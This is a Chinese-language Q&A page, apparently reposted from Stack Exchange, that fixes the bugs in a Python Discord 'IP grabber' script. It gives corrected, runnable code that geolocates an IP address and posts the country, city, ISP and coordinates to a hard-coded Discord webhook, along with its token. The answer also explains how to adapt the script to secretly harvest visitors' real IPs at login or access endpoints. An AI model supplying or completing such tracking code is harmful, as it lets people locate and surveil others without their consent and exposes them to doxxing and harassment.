Discord Webhook IP抓取脚本全量语法错误排查求助
代码错误修正说明
- 导入类名拼写错误:
dhooks提供的类是Webhook,原代码错写为Weebhook - 时间格式化方法拼写错误:
datetime对象的格式化方法是strftime,原代码错写为starttime - 模块调用拼写错误:导入的模块名为
requests,原代码调用时写为request.get,缺少末尾s - IP获取逻辑错误:调用
requests.get返回的是响应对象,需要取.text属性才能拿到IP字符串 - Embed实例化错误:
Embed是导入的类,需要大写开头实例化,原代码写为小写embed() - 字典语法错误:所有字段字典的引号位置错位、键值对格式错误,同时列表元素之间缺少逗号分隔
- 循环语法错误:for循环末尾缺少冒号,且循环变量名和列表名重名,后续调用的
field变量未定义 - 方法调用拼写错误:添加embed字段的方法是
add_field,原代码错写为add_filed
额外逻辑提醒
你当前编写的逻辑仅能获取运行脚本的服务器自身的出口IP,无法获取加入服务器的用户的公网IP。如果要收集访客IP,需要将这段逻辑部署在你面向用户的服务入口(例如身份验证页面、服务器接入接口),从用户的请求头中提取真实IP后再调用Discord Webhook推送。
修正后可运行代码
import requests from dhooks import Webhook, Embed from datetime import datetime # 替换为你自己的Webhook地址 hook = Webhook("https://discord.com/api/webhooks/766365269370601562/b4tDfhvyT6aNcZ2R3p1pFrxAMMwV044aw39jCGlaaiLUWvFRyR2oMv6PV74VwihJJQgK") time = datetime.now().strftime("%H%M %p") # 此处后续可替换为从用户请求中提取的真实IP ip = requests.get('https://api.ipify.org/').text r = requests.get(f'https://extreme-ip-lookup.com/json/{ip}') geo = r.json() embed = Embed() fields = [ {'name': 'ip', 'value': geo['query']}, {'name': 'ipType', 'value': geo['ipType']}, {'name': 'Country', 'value': geo['country']}, {'name': 'countryCode', 'value': geo['countryCode']}, {'name': 'City', 'value': geo['city']}, {'name': 'Continent', 'value': geo['continent']}, {'name': 'IPName', 'value': geo['ipName']}, {'name': 'ISP', 'value': geo['isp']}, {'name': 'Latitude', 'value': geo['lat']}, {'name': 'Longitude', 'value': geo['lon']}, {'name': 'Org', 'value': geo['org']}, {'name': 'Region', 'value': geo['region']}, {'name': 'Status', 'value': geo['status']}, ] for field in fields: if field['value']: embed.add_field(name=field['name'], value=field['value'], inline=True) hook.send(embed=embed)
内容的提问来源于stack exchange,提问作者Loupes
相关产品推荐
相关产品推荐

